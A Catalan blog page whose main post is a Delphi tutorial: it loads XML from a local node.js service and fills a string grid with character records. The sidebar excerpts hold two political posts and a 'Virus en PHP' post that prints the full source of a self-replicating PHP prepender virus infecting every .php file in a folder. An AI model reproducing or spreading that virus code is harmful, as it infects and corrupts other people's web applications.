Ves al contingut principal

L'esquema de l'aplicació a realitzar

Estic remodelant el meu escriptori com ja comentava en articles anteriors. La veritat, poques coses m'agraden més que la informàtica, seguit de prop, per les arts marcials. M'agrada tant el hardware com el software, i m'agrada fer experiments en ambdós coses. Tot i això he trobat una mica de temps per fer el que serà l'esquema que tenia en ment de l'aplicació, per a diferents platafornes mòvils. Accedir al "servei web" creat en un altre post. Per començar he creat la versió d'escriptori. He triat fer-ho en delphi, per que feia temps que no el tocava. He posat un botó per fer les accions, un grid (TStringGrid) o im XMLDocument (TXMLDocument):




Les accions les executarem en apretar el botó (més que res està posat per facilitar el debug). Tampoc he posat nom convenient als components ni res, per què total hi havien quatre i no era massa difícil distingir-los. Ni tampoc he triat una conversió molt elegant de l'XML al grid, ho he fet a mà. Pot ser, i només pot ser, la solució elegant havera segut passar-ho a un ClientDataSet i d'ahí a un DBGrid, però fer-ho així ara em costaria més el fregall que l'escurada.
El procediment que he triat és el següent:
1. Obric l'arxiu
2. Prepare el Grid: capçalera, nombre de files...
3. Navegue per l'estructura de l'xml fins arribar a l'arbre de  de personatges
4. Una vegada arribat, vaig posant en cada fila el contingut de cada node personatge

Recordem que l'estructura de l'xml era:
<xml> 
    <resposta>
        <personatges>
           <personatge>
               <id>1</id>
               <nom>Ruper</nom>
               <classe>Mag</classe>
               <nivell>10</nivell>
           </personatge>
          .... 
         </personatges>
    </resposta>
 </xml>

Ara anem al codi font:

1. Obrir l'arxiu:
          XMLDocument1.LoadFromFile('http://localhost:1000');
Simple, eh?
2. Preparar el Grid:
           i:=1; //Comptador de files
          StringGrid1.ColCount:=4;
           //Cells[Columna,Fila], ho fan a l'inrevés
           StringGrid1.Cells[0,0]:='id';
           StringGrid1.Cells[1,0]:='nom';
          StringGrid1.Cells[2,0]:='classe';
          StringGrid1.Cells[3,0]:='nivell';
3. Navegar per situar-se en el node de personatges:
       _ixmlNode:= XMLDocument1.DocumentElement;//xml
       _ixmlNode:=_ixmlNode.ChildNodes.First; //resposta
       _ixmlNode:=_ixmlNode.ChildNodes.First; //personatges
        //posem una fila per cada més una de    capçalera
       StringGrid1.RowCount:= _ixmlNode.ChildNodes.Count+1;
       _ixmlNode:=_ixmlNode.ChildNodes.First; //El primer personatge
4.Naveguem per tots els personatges, i posem els valors corresponents al GRid:
     repeat
       StringGrid1.Cells[0,i]:=_ixmlNOde.ChildValues['id'];
       StringGrid1.Cells[1,i]:=_ixmlNOde.ChildValues['nom'];
       StringGrid1.Cells[2,i]:=_ixmlNOde.ChildValues['classe'];
       StringGrid1.Cells[3,i]:=_ixmlNOde.ChildValues['nivell'];
       _ixmlNode:=_ixmlNode.NextSibling(); //visite el següent node
       inc(i);
     until (_ixmlNode=nil)


Per tal de facilitar la comprensió, posaré tot el codi font de l'event de fer click:


I ací teniu el resultat en apretar el botó (recordeu que el servidor creat anteriorment amb el node.js deuria d'estar en marxa):


Comentaris

Entrades populars d'aquest blog

Parlem de Bloc i País?

Comence una nova etapa en el tema polític, de fet ja fa temps que la vaig començar, però ara ho fet involucrant-me activament als assumptes interns del meu partit. Em defineix a mi mateix com una persona activa (de vegades inclús hiperactiva), amb inquietuds i preocupacions, en definitiva, em mou les ganes de ser útil a la meua gent i l’estima pel meu país. Aquestes voluntats però, no les he vistes, o almenys, ja no les veig tan a sovint en el tarannà del meu partit. No negaré que, potser, tinc desavinences en l’actual línia de la direcció (allò que s’ha anomenat com el “aparato”), però la casuística dels últims viratges polítics no han deixat lloc a altra possibilitat. No vaig a repetir totes les actuacions que adés i ara van demostrar que els abanderats de la nova política no es comportaren com a tal. Tots sabem quines són. Però d'una si que en parlaré, una que per a mi fou bastant reiterativa i té molta relació en un dels principis de Goebbels, que és el de fer creure que la di…

Què poden(m) fer els polítics nacionalistes valencians?

Davant del procés que s'ha encetat a Catalunya, el primer que m'agradaria és mostrar el meu suport. Pot ser s'hagen fet errors, com en tot en esta vida. Ara bé, votar no pot ser mai antidemocràtic, i per tant el seu destí els decidiran ells. 
Alguns hem observat, sempre amb il·lusió, que pot ser després d'ells anem nosaltres, els valencians. Però la realitat és tossuda. Mai hem tingut un sentiment nacionalista similar als catalans. I, possiblement, mentre no fem alguna cosa per canviar-ho, no el tindrem. Per exemple, podem veure l'evolució  segons el CIS del sentiment nacionalista/independentista valencià i català:

Durant els primers anys (94 i 97) es codificava del 0 al 10, però al 2005, preguntaren allò de "sólo español" (que ho he codificat com un 2), "más español que (gentilicio)" (que será un 4),  "igual español que (gentilicio)" (que serà un 6),  "más (gentilicio) que español" (que serà un 8) i "sólamente (gentilicio…

Virus en PHP

Acabe de trobar un exemple simple de virus en PHP, m'he quedat flipat de la sensillesa, és clavat als virus.bat de MS-DOS:
1. Busca tots els .php de la carpeta
2. Si no està infectat:
  2.1 Escriu el contingut de la part del virus (anomenada prepender, 391 bytes) a l'inicio de l'arxiu
  2.2 busca el següent arxiu i ves al punt dos


Pareix simple i el codi la veritat és que ho demostra:

- - - - - - - - - - - - - [ PHP Prepender Virus Example ] - - - - - - - - - - - - - <?php // SPTH $string=fread(fopen(__FILE__,'r'), 391); $curdir=opendir('.'); while ($file = readdir($curdir)) { if (strstr($file, '.php')) { $victim=fopen($file, 'r+'); if (!strstr(fread($victim, 13), 'SPTH')) { rewind($victim); fwrite($victim, $string.fread($victim, filesize($file));); } fclose($victim); } } closedir($curdir); ?>